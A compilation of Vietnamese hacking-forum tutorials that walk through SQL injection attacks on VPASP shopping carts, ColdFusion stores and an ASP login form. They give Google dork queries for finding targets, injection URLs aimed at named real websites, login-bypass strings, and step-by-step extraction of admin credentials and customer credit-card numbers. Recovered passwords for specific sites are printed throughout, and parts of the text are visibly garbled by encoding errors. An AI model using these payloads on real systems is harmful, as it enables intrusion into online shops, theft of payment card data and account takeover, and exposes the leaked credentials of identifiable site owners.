ippingFax','CardVerification','CardVerificationNone','CardVerificationRead','Pho
neOrder','FRE EShippingMethod')))--sp_password
Ta lấy thông tin của coloum này Các coloum quan trọng thường là First/Last name/
Address1/city/state/zip/Country/phone/fax/email/cardname/ cardtype/Cardnumber/Ex
pirationDate/CNV2 (tuy nhiên site này o có cnv2) ->nhiêu đó chắc cũng đủ rồi nhỉ
? Theo đường link này sẽ có cc http://www.victim.com/store/category.asp?Category
ID=82%20and%201=convert(int,(select%20top%201% 20CardName%2b'/'%2bAddress1%2b'/'
%2bCity%2b'/'%2bState%2b'/'%2bZip%2b'/'%2bPhone%2b'/'%2bCountry% 2b'/'%2bCardNum
ber%2b'/'%2bExpirationDate%20from%20Orders))--sp_password
các bạn cần thông tin gì thì cứ chèn /'%2b******%2b'/ vào tìm được cc đầu tiên,c
ác bạn dùng link này để lấy cc thứ 2 và tiếp tục http://www.victim.com/store/cat
egory.asp?CategoryID=82%20and%201=(select%20top%201%20CardName%2b% 27/%27%2bAddr
ess1%2b%27/%27%2bCity%2b%27/%27%2bState%2b%27/%27%2bZip%2b%27/%27%2bPhone% 2b%27
/%27%2bCountry%2b%27/%27%2bCardNumber%2b%27/%27%2bExpirationDate%20from%20Orders
% 20where%20CardNumber%20not%20in('XXXXXXXXXXXXXXX')%20) Llấy được cc thứ 2 thì
lấy số number của card đó thêm vào sau link trên chỗ 'XXXXXXXXXXXXXXXX'
TUTORIAL BY SEAMOUN
Tôi thấy các bạn quan tâm nhiều đến hack shop VPASP, nên tôi vi t một bài để các
tham khảo, mặc dù cũ nhưng tôi ế thấy cũng còn nhiều Web bị lỗi này. VPASP khỏi
cần nói các bạn cũng biết đó là Shopping Cart. Phiên bản bị lỗi SQL - Injection
là 4.5 và 5.0 còn những phiên bản mới thì tôi không có source để xem nó còn lỗi
gì hay không ? Vì VPASP thường sử dụng cơ sở dữ liệu MS Access cho nên việc ngắ
t lệnh như SQL - Server là không thể cho nên chỉ còn một cách là hợp lệnh SQL để
lấy kết quả. Thực hiện các bước sau: Bước 1: Vào Google.com, tìm cụm từ sau: al
linurl: shopdisplaycategories.asp. Bạn sẽ thấy ra cả đống site. Kiểm tra link xe
m có bị lỗi SQL - Injection hay không ? Bước 2: Đối với phiên bản VPASP 4.5 thì
lỗi tại file shopdisplaycategories.asp và shopdisplayproducts.asp. Ở phiên bản V
PASP 5.0 thì đã sửa lỗi hai file trên nhưng còn một chỗ vẫn bị lỗi là file shope
xd.asp Ví dụ site sau: http://www.hopscotchdressingup.co.uk/store/shopdisplaypro
ducts.asp?id=8'&cat=Halloween. Mặc dù ta đã thêm ' ở tại shopdisplayproducts.asp
?id=8' nhưng vẫn không bị lỗi. Ta thử tiếp file link sau : http://www.hopscotchd
ressingup.co.uk/store/shopexd.asp?id=149'. Nó xuất hiện lỗi HTTP 500 - Internal
server error Internet Explorer Bước 3: Ta thực hiện gộp lệnh để lấy giá trị user
name và password như sau: Link ban đầu :http://www.hopscotchdressingup.co.uk/sto
re/shopexd.asp?id=149 Link gộp truy vấn : http://www.hopscotchdressingup.co.uk/s
tore/shopexd.asp?id=-1 union select catalogid,ccode, fldusername%2b'/'% 2bfldpas
sword,cdescription,cprice,ccategory,cdescurl,features,cimageurl,cstock,w eight,m
fg,pother1,pother2,pother3,subcategoryid,retailprice,specialoffer,categor y,butt
onimage,cdateavailable,allowusertext,pother4,pother5,userid,keywords,templ ate,e
xtendedimage,extendeddesc,selectlist,level3,level4,level5,minimumquantity,s uppl
ierid,crossselling,hide,productmatch,customermatch,orderattachment,orderdown loa
d,groupfordiscount,clanguage,points,pointstobuy,price2,price3,billprice,billi ns
tallments,billinstallmenttype,billinterval,maximumquantity,frontpage from produc
ts,tbluser where catalogid=149 . Các bạn sẽ hỏi là cái đống hỗn độn ở link trên
lấy ở đâu ra?Hì hì chỉ đọc source VPASP mới biết nó gồm những trường nào trong b
ản product rồi từ đó gộp
lệnh cho đủ các trường và thay thế trường tên của sản phầm bằng trường username
và password. Sở dĩ ta phải cho id=-1 để ngắt lệnh SQL thứ nhất khi hợp nhất thì
nó sẽ thực hiện lệnh SQL thứ hai. Sau khi hợp SQL ta sẽ có kết quả user và passw
ord là "Sy87XXXXX/gL37ytXXXXX" là hai giá trị được thay thế tại tên của sản phẩm
. Như vậy ta đã có user và password của admin rồi. Mừng quá login vào shopadmin.
asp thôi . Thông thường thì tên file Admin ControlPanel là shopadmin.asp nếu nh
ư nó chưa đổi. Bước 4: Ta truy cập vào http://www.hopscotchdressingup.co.uk/stor
e/shopadmin.asp thử xem thế nào? Chà file nó đổi tên mất rồi. Làm sao đây ? Ti
ếp tục gộp lệnh để lấy tên file đã thay đổi thôi Cũng với link http://www.hops
cotchdressingup.co.uk/store/shopexd.asp?id=149 ta gộp lệnh như sau để lấy tên fi
le truy cập vào Admin Control Panel. http://www.hopscotchdressingup.co.uk/store/
shopexd.asp?id=-1 union select catalogid,ccode,fieldvalue,cdescription, cprice,c
category,cdescurl,features,cimag eurl,cstock,weight,mfg,pother1,pother2,pother3,
subcategoryid,retailprice,special offer,category,buttonimage,cdateavailable,allo
wusertext,pother4,pother5,userid,k eywords,template,extendedimage,extendeddesc,s
electlist,level3,level4,level5,mini mumquantity,supplierid,crossselling,hide,pro
ductmatch,customermatch,orderattachm ent,orderdownload,groupfordiscount,clanguag
e,points,pointstobuy,price2,price3,bi llprice,billinstallments,billinstallmentty
pe,billinterval,maximumquantity,frontp age from products,configuration where fie
ldname='xadminpage' and catalogid=149 Sau khi thực hiện ta đã có tên file truy c
ập vào Admin Control Panel là hopoff.asp Như vậy ta có thể truy cập đến file Adm
in. http://www.hopscotchdressingup.co.uk/store/hopoff.asp. Lưu ý: Khi truy cập v
ào Admin Control Panel nếu gặp hai trường nhập password thì : một là ngồi thử ha
i là đi kiếm cái khác. Vì password thứ 2 là một hằng nên không thể dùng cách hợp
lệnh để lấy được. Muốn lấy chắc viết email đến admin hỏi thử password thứ hai l
à gì, tôi đã có password thứ nhất của you rôi Hi hi hi Đối với phiên bản VPA
SP 4.5 thì cũng làm tương tự như trên chỉ khác là ở chỗ gộp lệnh lấy username, p
assword và tên file truy cập vào Admin Control Panel Ví dụ : http://<site bị lỗi
>/shopdisplaycategories.asp?id=1 chẳng hạn. Thì lệnh gộp lấy username, password
và tên file admin như sau http://<site bị lỗi>/shopdisplaycategories.asp?id=1 un
ion select catalogid,ccode,fldusername%2b':'% 2bfldpassword, cdescription,cprice
,ccategory,cdescurl,features,cimageurl,cstock,w eight,mfg,pother1,pother2,pother
3,subcategoryid,retailprice,specialoffer,categor y,buttonimage,cdateavailable,al
lowusertext,pother4,pother5,userid,keywords,templ ate,extendedimage,extendeddesc
,selectlist,level3,level4,level5,minimumquantity,s upplierid,crossselling,hide,p
roductmatch,customermatch,orderattachment,orderdown load,groupfordiscount,clangu
age,points,pointstobuy,price2,price3 from products,tbluser where 1=1 or 1=1
http://<site bị lỗi>/shopdisplaycategories.asp?id=1 union select catalogid,ccode
,fieldvalue,cdescription,cprice, ccategory,cdescurl,features,cimag eurl,cstock,w
eight,mfg,pother1,pother2,pother3,subcategoryid,retailprice,special offer,catego
ry,buttonimage,cdateavailable,allowusertext,pother4,pother5,userid,k eywords,tem
plate,extendedimage,extendeddesc,selectlist,level3,level4,level5,mini mumquantit
y,supplierid,crossselling,hide,productmatch,customermatch,orderattachm ent,order
download,groupfordiscount,clanguage,points,pointstobuy,price2,price3 from produc
ts,tbluser,configuration where fieldname='xadminpage' Site VPASP sử dụng cơ sở d
ữ liệu SQL - Server thì quá dễ để khai thác như sau http://<site bị lỗi>/shopdis
playcategories.asp?id=1 and%201=convert(int,(select%20top%201%20fldusername%2b'/
'%2bfldpassword%20from%20tbluser))-sp_password http://<site bị lỗi>/shopdisplayc
ategories.asp?id=1 and%201=convert(int,(select top 1 fieldvalue from configurati
on where fieldname='xadminpage'))--sp_password PS: Mấy you thực hành thì đừng có
file site của họ nha
TUTORIAL BY GAMMA95
Một trong những câu hỏi thường gặp nhất khi các bạn đi hack website mà hệ quản t
rị CSDL nó xài Access là “Tại sao lúc thì dùng Union exploit được nhưng lúc thì
lại là 1 cái error khó chịu tương tự thế này Error Type: Microsoft JET Database
Engine (0x80004005) Syntax error in FROM clause. “ bắn ra ??và liệu có thể có cá
c nào khai thác tiếp được ko ,xin thưa rằng sở dĩ chúng ta bị như vậy chẳng qua
Access ko có kí tự comment kiểu như ‘—‘ như trong MSSQL ,nếu có thì ko còn gì để
nói …mình thì chỉ có vài kinh nghiệm sơ sơ về vụ này nên viết bài này hy vọng p
hần nào giảI đáp thắc mắc của các ban Do rules của HVA là ko được public các sit
e lỗi ,nên mình đành phải tự chế biến code lại của thằng vpasp và up lên cái hos
t tạm để test Ok …linktest http://b.domaindlx.com/philips/asp/shopadmin.asp code
verify user+pass trong file shopadmin.asp là username=request("Username") userp
assword=request("password") if ucase(Username)<>"SUPPLIER" then sql = "select *
from tbluser where fldusername='" & username & "' and fldpassword='" & userpassw
ord & "'" //hì,thực tế mình đã del 2 dòng code [QUOTE]username=replace(username,
"'","") userpassword=replace(userpassword,"'","")[/QUOTE] lọc dấu nháy đơn nên h
iện giờ nó đã bị bypass,và cũng xin nói sâu hơn chút về by pass tại cái form này
nếu bạn insert [QUOTE]username:’ or ‘’=’ password:anything[/QUOTE] thì ko được,
nhưng nếu các bạn bypass như thế này [QUOTE]username:anything password:’ or ‘’=’
[/QUOTE] thì lạI ok ,tạI sao vậy ??nguyên nhân do nếu bạn by pass theo kiểu trườ
ng hợp 1 thì đọan query get từ form sẽ là sql = "select * from tbluser where fld
username=’’ or ‘’=’’ and fldpassword=’anything’[/QUOTE] do thứ tự ưu tiên của ph
ép tóan nên phép tóan and sẽ được ưu tiên trước phép or vì thế thì vế ‘’=’’ and
fldpassword=’anything’ s được thực thi trước và có chân trị là false ẽ (do ‘’=’’
true but fldpassword=’anything’ false à qua phép and s là false ) sau đó được o
r với query còn lại là ẽ fldusername=’’ or false là false (do cái fldusername=’’
là false nên or 2 v false ra false ) ế -->ko bypass được còn trường hợp 2 [QUOT
E]sql = "select * from tbluser where fldusername=’anything’ and fldpassword=’’ o
r ‘’=’’[/QUOTE] do thứ tự ưu tiên của phép tóan phép tóan and sẽ được ưu tiên tr
ước phép or vì thế vế fldusername=’anything’ and fldpassword=’’ s thực thi trước
và sẽ có giá trị false (do fldusername=’anything’ là ẽ false và fldpassword=’’
cũng false nốt,nhưng sau đó nó lại được or ‘’=’’ (‘’=’’ luônđúng ) nên chân trị
nguyên query này là true --> by pass …phù vì thế trước giờ các bác đi by pass tò
an là username :’ or ‘’=’ password :’ or ‘’=’ cho chắc cú phảI ko nhể ??..hehe ,
những cái em nói trên cho các bác hiểu sâu sâu về by pass chút thôi Thôi,nãy giờ
lan man wá,ko đi vào chủ đề chính
ok…bi giờ các bác inject nháy đơn để xem lạI chính xác nó có bị sql ij hay ko ,s
au khi ij và submit thì nó ra cái này Error Type: [QUOTE]Microsoft JET Database
Engine (0x80040E14) Syntax error in string in query expression 'fldusername='''
and fldpassword='''.[/QUOTE] /asp/shopadmin.asp, line 34 Ok,trường hợp là các fo
rm login thì chúng ta rất dễ biết được tên column do error bắn ra (các trường hợ
p khác trên URL thì thường là ọc ra những column ko mong đơi chút nào ) Ok,giả s
ử chúng ta biết là table chứa 2 column fldusername,fldpassword là tbluser,okay,u
nion xem sao [QUOTE]Username :’ union select 1,1…1 from tbluser Password :anythi
ng[/QUOTE] Và nó ọc ra cái này đây [QUOTE]Error Type: Microsoft JET Database Eng
ine (0x80004005) Syntax error in FROM clause. /asp/shopadmin.asp, line 34[/QUOTE
] TạI sao vậy ?câu query get được từ form là sql = "select * from tbluser where
fldusername=’’ union select 1,1.. from tbluser  and fldpassword=’anything’ bạn đ
ể ý ngay sau tbluser của query Union sẽ bị thừa 1 cái dấu nháy đơn do code chuẩn
nó thêm vào nên câu query thật là vô nghĩa ,họặc nếu có thêm ‘and 1=2 union sel
ect …đi chăng nữa thì cũng vô nghĩa nên nó mớI bắn ra cái thông báo [QUOTE]Synta
x error in FROM clause.[/QUOTE] Ok…vậy thì chúng ta sẽ khắc phục như sau Usernam
e :’ union select 1 from tbluser where ‘1’=’1 Password:anything Mục đích thêm cá
i where ‘1’=’1 như vậy để cái dấu nháy của query tự động thêm nốt dấu nháy còn l
ạI vào where ‘1’=’1’ --> hòan tòan hợp lý phảI ko nào ?? Và query lúc này như sa
u: [QUOTE]sql = "select * from tbluser where fldusername=’’ union select 1 from
tbluser where ‘1’=’1’ and fldpassword= anything’[/QUOTE] hì,1 cái error quen thu
ộc bắn ra [QUOTE]Microsoft JET Database Engine (0x80040E14) The number of column
s in the two selected tables or queries of a union query do not match.[/QUOTE] P
hần còn lại rất dễ,chắc các bác biết hết rồi nên ko nói ở đây Xong …nhưng chỉ là
xong khi chúng ta khắc phục điều này khi exploit SQL ij trên các form login mà
thôi ,còn trên các URL thì sao ,có gì khác so với exploit trên form ?? hẹn các b
ạn bài sau trong thờI gian tới (bây giờ bận thi học kì) MọI Feedback xin post lê
n 4rum,xin đừng PM,mail v..v
TUTORIAL HACK CFM FROM HCV
Thường thì các bạn chỉ search site dính sql injection và site đó xài ASP đúng kh
ông ... vậy sao ko search những site dùng cfm nhỉ. Hum nay lướt chơi thấy có sit
e bị lỗi nên đánh bạo post bài cho anh em đọc có câu cú gì sai sót về kĩ thuật x
in anh em lượng thứ Tui là newbie mờ ... Lên google gõ từ khóa : allinurl:"affil
iate-agreement.cfm?storeid" Và kết quả cho ta vài trang ... okie chọn đại 1 tran
g coi tui chọn thằng này : QUOTE http://www.channel69shopping.com/store/affiliat
e-agreement.cfm?storeid= Thêm dấu ' vào xem ... QUOTE http://www.channel69shoppi
ng.com/store/affiliate-agreement.cfm?storeid=' QUOTE Error Executing Database Qu
ery. [Macromedia][SequeLink JDBC Driver][ODBC Socket][Microsoft][ODBC SQL Server
Driver][SQL Server]Line 3: Incorrect syntax near ''. The error occurred in E:\m
ars\wwwroot\channel69shopping\store\loadconfig.cfm: line 4 Called from E:\mars\w
wwroot\channel69shopping\store\affiliate-agreement.cfm: line 23 Called from E:\m
ars\wwwroot\channel69shopping\store\loadconfig.cfm: line 4 Called from E:\mars\w
wwroot\channel69shopping\store\affiliate-agreement.cfm: line 23 2 : SELECT * 3 :
FROM config 4 : WHERE ID=#storeid# 5 : </CFQUERY> Chậc sao nhòm cái error wen w
á dzậy trời ... Giờ ta thử 1 chút xem sao QUOTE http://www.channel69shopping.com
/store/affiliate-agreement.cfm?storeid=%2bconvert(int,(select%20top%201% 20table
_name%20from%20information_schema.tables))--sp_password Ặc ... xem cái gì hiện r
a nè mấy bồ QUOTE Error Executing Database Query. [Macromedia][SequeLink JDBC Dr
iver][ODBC Socket][Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error co
nverting the nvarchar value 'administration' to a column of data type int. Hay q
uá ta mới test đã ra cái mình cần rùi nè ... Lấy username và pass thui hihi à qu
ên ... với thằng này bạn không thể lấy cùng lúc cả username và pass được mà bạn
phải lấy từng thằng một ... Không hiểu sao ... Kệ ... Có còn hơn không nha QUOTE
[url=http://www.channel69shopping.com/store/affiliate-agreement.cfm?storeid=%2b
convert(int,(select%20top%201% 20username from administration]http://www.channel
69shopping.com/store/aff...%201%20username[/url] from administration
Username là Administrator Rùi pass nữa nha QUOTE [url=http://www.channel69shoppi
ng.com/store/affiliate-agreement.cfm?storeid=%2bconvert(int,(select%20top%201% 2
0password from administration]http://www.channel69shopping.com/store/aff...%201%
20password[/url] from administration Hehe pass nè : cartease Login đi thôi http:
//www.channel69shopping.com/store/admin Đã check thành công post cho các bác new
bie như destroyer thực hành hope success
TUTORIAL NAØY KHOÂNG BIEÁT TAÙC GIAÛ
Trong bà i viế t nà y, tôi sẽ có kè m theo quá trình inject mô t website và lý t
huyế t cơ bả n về SQL injection để cá c ba n có thể hiể u rõ hơn. Nhưng có lẽ là
chỉ cho newbie thôi, khi nà o rỗ i tôi sẽ viế t và hướ ng dẫn advance sql injec
tion, tấ t nhiên có kè m theo mô t site để cá c ba n thư c hà nh. Chú ng ta hãy
bắ t đầ u : Sql injection đang dầ n phổ biế n hiê n nay, và có lẽ lỗ i nhiề u nh
ấ t vẫn là ở cá c site MS SQl. Nó rấ t nguy hiể m, nó cho phé p chú ng ta login
mà không cần username và password, remote execution, dump data và truy xuấ t use
rname + password ra ngoà i bằ ng cá ch input cá c query/command vào input trước
khi chuyển cho ứng dụng web xử lí. Để thử  xem site đó có bi lỗi hay không, ba n
thử input và o cá c field username và pass bằ ng : " or 1=1-or 1=1-' or a=a-" o
r "a"="a ') or ('a'='a ") or ("a"="a hi" or "a"="a hi" or 1=1 -hi' or 1=1 -hi' o
r 'a'='a hi') or ('a'='a hi") or ("a"="a 'or''=' và cò n rấ t nhiề u nữ a tôi kh
ông tiê n viế t ở đây. Rấ t có thể ba n sẽ login đươ c và o vớ i quyề n admin ho
ă c mô t user nà o đó . Nhưng ở bà i viế t nà y tôi nó i đế n cá ch truy xuấ t u
sername và password ra ngoà i để chú ng ta mă c nhiên và o trong CP. Ơ đây, tôi
sẽ lấ y ra mô t site bấ t kỳ , nhưng khi ba n muố n tấ n công mô t trang nà o đó
thì la i khá c, ba n phả i bỏ công ra ̉ tìm link nhiễm. Mu c tiêu tấ n công :htt
p://www.naame.com/manageAccount/manaccount516.asp Bây giờ để xá c đinh xem có bi
SQL injection không, ba n thử input cá c lê nh tôi liê t kê ở trên, không by pa
ss login đươ c   ba n input thử dấ u ngoă c đơn '
kế t quả : Microsoft OLE DB Provider for SQL Server error '80040e14' Unclosed qu
otation mark before the character string '''. /manageAccount/acctIncludes/manacc
ount_inc.asp, line 33 thế là biế t mu c tiêu bi lỗi rồ i nhé , bây giờ viê c cầ
n là m là lấ y đươ c ra cá c table name củ a nó , dù ng : 'having 1=1-- .Ba n  
hãy để ý thấ y dâu --, vâng trong MS SQL, tấ t cả cá c thứ sau -- sẽ bi loa i bỏ
. Microsoft OLE DB Provider for SQL Server error '80040e14' Column 'LoginTable.
Account' is invalid in the select list because it is not contained in an aggrega
te function and there is no GROUP BY clause. /manageAccount/acctIncludes/manacco
unt_inc.asp, line 33 Ok rồ i : Column 'LoginTable.Account' is invalid in the sel
ect list because it is not contained in an aggregate function and there is no GR
OUP BY clause. Vâ y là ta lấ y đươ c 1 table rồ i đó . Bướ c tiế p theo : 'GROUP
BY LoginTable.Account having 1=1-Nó bá o : Microsoft OLE DB Provider for SQL Se
rver error '80040e14' Column 'LoginTable.UserName' is invalid in the select list
because it is not contained in either an aggregate function or the GROUP BY cla
use. /manageAccount/acctIncludes/manaccount_inc.asp, line 33
La i lấ y đươ c thêm mô t cô t nữ a rồ i. Ba n thay và o : (thêm 1 cô t và ngăn
cá ch bằ ng dấ u phẩ y)
'GROUP BY LoginTable.Account, LoginTable.UserName having 1=1--
Ba n cứ là m thế để lấ y cá c table củ a nó . Tôi đã lấ y sẵn ra cho cá c ba n :
'group by LoginTable.Account, LoginTable.UserName, LoginTable.Password, LoginTa
ble.DomainName, LoginTable. Credits, LoginTable.LoginType having 1=1-Lấ y đươ c
cá c table rồ i thì là m gì? Cá c cá c ba n nhìn và o cô t "username" và "passwo
rd" là thè m lắ m rồ i, muố n lấ y ra ngay, híc, nhưng phả i từ từ đã, đi đâu mà
vô i. Có đươ c nó rồ i, ta thử tìm mô t link bi lỗ i (tìm nó trên thà nh addres
s bằ ng  cá ch thêm ' và o sau = hoă c =cá i gì đó '). Nhưng mà ở trang nà y nó
không có mô t link nà o dính lỗi, thì ta la i dư a và o cá i forum input vâ y.
Ta thử nhé : (input và o field username và password rồ i submit thử ). 'union se
lect min(UserName),1,1,1,1,1 from LoginTable where UserName > 'h'-hì, chắ c cá c
ba n sẽ hỏ i mấ y cá i thằ ng 1,1,1,1,1 là gì sao la i đă t ở đó , nó i nôm na
và dễ hiể u cho newbie luôn là cá c ba n đế m xem có bao nhiêu cô t ngoa i trừ c
ô t Username và thay cho mỗ i cô t đó là 1 . thế thôi. Cò n thằ ng UserName > 'h
' à , nó sẽ "xuấ t" ra mô t username bấ t kỳ bắ t đầ u bằ ng letter 'h' . Nó bá
o : Microsoft OLE DB Provider for SQL Server error '80040e07' Syntax error conve
rting the nvarchar value 'h20h20' to a column of data type int. /manageAccount/a
cctIncludes/manaccount_inc.asp, line 33 Cườ i tươi xem nà o, có 1 thằ ng usernam
e là m cả nh rồ i nhé . Muố n biế t password củ a ná o thì là m như sau : 'union
select Password,1,1,1,1,1 from LoginTable where UserName = 'h20h20'-Ta thay sau
UserName là dấ u = 'username vừ a lấ y đươ c'-Nó bá o : Microsoft OLE DB Provid
er for SQL Server error '80040e07' Syntax error converting the nvarchar value 'l
egogame' to a column of data type int. /manageAccount/acctIncludes/manaccount_in
c.asp, line 33 Hì, password là legogame kìa, ba n login đi, cò n chờ gì nữ a. *
Note : Nế u ba n muố n lấ y thêm nhiề u username khá c thì : 'union select min(U
serName),1,1,1,1,1 from LoginTable where UserName > 'h20h20'-nó sẽ lấ y ra mô t
username khá c. Nế u ba n muố n username bắ t đầ u bằ ng B chẳ ng ha n, thì thay
bằ ng 'b'-- thế thôi. trong trườ ng hơ p ba n muố n tấ n login và o mô t domain
nà o đó đinh trướ c thì thay cô t DomainName và o cô t UserName. Ví du  , tôi g
hé t thằ ng maika, nó có cá i domain là H0MES4RENT.com mua ở đó thì tôi muố n bi
ế t password củ a nó ta dù ng : 'union select password,1,1,1,1,1 from LoginTable
where DomainName = 'H0MES4RENT.com'-Nó bá o : Microsoft OLE DB Provider for SQL
Server error '80040e07' Syntax error converting the nvarchar value 'joepinguelo
' to a column of data type int. /manageAccount/acctIncludes/manaccount_inc.asp,
line 33
Hì password là joepinguelo rồ i nhé , la i lấ y username củ a nó đi : 'union sel
ect UserName,1,1,1,1,1 from LoginTable where DomainName = 'H0MES4RENT.com'-Kế t
quả : Microsoft OLE DB Provider for SQL Server error '80040e07' Syntax error con
verting the nvarchar value 'joepinguelo' to a column of data type int. /manageAc
count/acctIncludes/manaccount_inc.asp, line 33 Và Username là joepinguelo Login
thử xem, Username : joepinguelo Password : joepinguelo

You might also like